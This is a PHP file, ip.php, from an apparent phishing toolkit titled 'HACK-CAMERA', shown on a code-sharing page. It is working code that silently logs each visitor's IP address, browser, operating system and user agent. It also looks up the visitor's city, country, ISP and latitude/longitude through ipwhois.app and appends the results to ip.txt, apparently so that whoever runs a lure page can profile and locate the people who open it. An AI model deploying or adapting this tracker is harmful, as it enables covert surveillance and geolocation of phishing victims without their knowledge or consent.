Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hackerxphantom
GitHub Repository: hackerxphantom/HACK-CAMERA
Path: blob/Master/om/ip.php
131 views
1
<?php
2
3
# ip.php by KasRoudra
4
# Author : KasRoudra
5
# Github : https://github.com/KasRoudra
6
# Email : [email protected]
7
# Messenger: https//m.me/KasRoudra
8
# Date : 5-09-2021
9
10
error_reporting(E_ERROR | E_PARSE);
11
12
function get_client_ip()
13
{
14
$ipaddress = '';
15
if (isset($_SERVER['HTTP_CLIENT_IP'])) {
16
$ipaddress = $_SERVER['HTTP_CLIENT_IP'];
17
} else if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
18
$ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
19
} else if (isset($_SERVER['HTTP_X_FORWARDED'])) {
20
$ipaddress = $_SERVER['HTTP_X_FORWARDED'];
21
} else if (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
22
$ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
23
} else if (isset($_SERVER['HTTP_FORWARDED'])) {
24
$ipaddress = $_SERVER['HTTP_FORWARDED'];
25
} else if (isset($_SERVER['REMOTE_ADDR'])) {
26
$ipaddress = $_SERVER['REMOTE_ADDR'];
27
} else {
28
$ipaddress = 'UNKNOWN';
29
}
30
31
return $ipaddress;
32
}
33
$user_agent = $_SERVER['HTTP_USER_AGENT'];
34
35
function getOS() {
36
global $user_agent;
37
$os_platform = "Unknown OS Platform";
38
$os_array = array(
39
'/windows nt 10/i' => 'Windows 10',
40
'/windows nt 6.3/i' => 'Windows 8.1',
41
'/windows nt 6.2/i' => 'Windows 8',
42
'/windows nt 6.1/i' => 'Windows 7',
43
'/windows nt 6.0/i' => 'Windows Vista',
44
'/windows nt 5.2/i' => 'Windows Server 2003/XP x64',
45
'/windows nt 5.1/i' => 'Windows XP',
46
'/windows xp/i' => 'Windows XP',
47
'/windows nt 5.0/i' => 'Windows 2000',
48
'/windows me/i' => 'Windows ME',
49
'/win98/i' => 'Windows 98',
50
'/win95/i' => 'Windows 95',
51
'/win16/i' => 'Windows 3.11',
52
'/macintosh|mac os x/i' => 'Mac OS X',
53
'/mac_powerpc/i' => 'Mac OS 9',
54
'/linux/i' => 'Linux',
55
'/ubuntu/i' => 'Ubuntu',
56
'/iphone/i' => 'iPhone',
57
'/ipod/i' => 'iPod',
58
'/ipad/i' => 'iPad',
59
'/android/i' => 'Android',
60
'/blackberry/i' => 'BlackBerry',
61
'/webos/i' => 'Mobile'
62
);
63
64
foreach ($os_array as $regex => $value)
65
if (preg_match($regex, $user_agent))
66
$os_platform = $value;
67
68
return $os_platform;
69
}
70
71
function getBrowser() {
72
global $user_agent;
73
$browser = "Unknown Browser";
74
$browser_array = array(
75
'/msie/i' => 'Internet Explorer',
76
'/firefox/i' => 'Firefox',
77
'/safari/i' => 'Safari',
78
'/chrome/i' => 'Chrome',
79
'/edge/i' => 'Edge',
80
'/opera/i' => 'Opera',
81
'/netscape/i' => 'Netscape',
82
'/maxthon/i' => 'Maxthon',
83
'/konqueror/i' => 'Konqueror',
84
'/mobile/i' => 'Handheld Browser'
85
);
86
87
foreach ($browser_array as $regex => $value)
88
if (preg_match($regex, $user_agent))
89
$browser = $value;
90
91
return $browser;
92
}
93
94
95
$user_os = getOS();
96
$user_browser = getBrowser();
97
98
$PublicIP = get_client_ip();
99
$file = 'ip.txt';
100
$ip = "IP : ".$PublicIP;
101
$uaget = "User Agent: ".$user_agent;
102
$bsr = "Browser : ".$user_browser;
103
$uos = "User OS : ".$user_os;
104
$ust= explode(" ", $user_agent);
105
$vr= $ust[3];
106
$ver=str_replace(")", "", $vr);
107
$version = "Version : ".$ver;
108
$details = file_get_contents("http://ipwhois.app/json/$PublicIP");
109
$details = json_decode($details, true);
110
$success = $details['success'];
111
$fp = fopen($file, 'a');
112
if ($success==false) {
113
fwrite($fp, $ip."\n");
114
fwrite($fp, $uos."\n");
115
fwrite($fp, $version."\n");
116
fwrite($fp, $bsr."\n");
117
fclose($fp);
118
} else if ($success==true) {
119
$country = $details['country'];
120
$city = $details['city'];
121
$continent= $details['continent'];
122
$tp = $details['type'];
123
$cn = $details['country_phone'];
124
$is = $details['isp'];
125
$latitude = $details['latitude'];
126
$longitude= $details['longitude'];
127
$crn = $details['currency'];
128
129
$type = "IP Type : ".$tp;
130
$comma = ", ";
131
$location = "Location : ".$city.$comma.$country.$comma.$continent;
132
$geolocation= "GeoLocation(lat, lon): ".$latitude.$comma.$longitude;
133
$isp = "ISP : ".$is;
134
$currency = "Currency : ".$crn;
135
fwrite($fp, $ip."\n");
136
fwrite($fp, $type."\n");
137
fwrite($fp, $uos."\n");
138
fwrite($fp, $version."\n");
139
fwrite($fp, $bsr."\n");
140
fwrite($fp, $location."\n");
141
fwrite($fp, $geolocation."\n");
142
fwrite($fp, $currency."\n");
143
144
fclose($fp);
145
} else {
146
$status = "Status : ".$success;
147
fwrite($fp, $status."\n");
148
fwrite($fp, $uaget."\n");
149
fclose($fp);
150
}
151
?>
152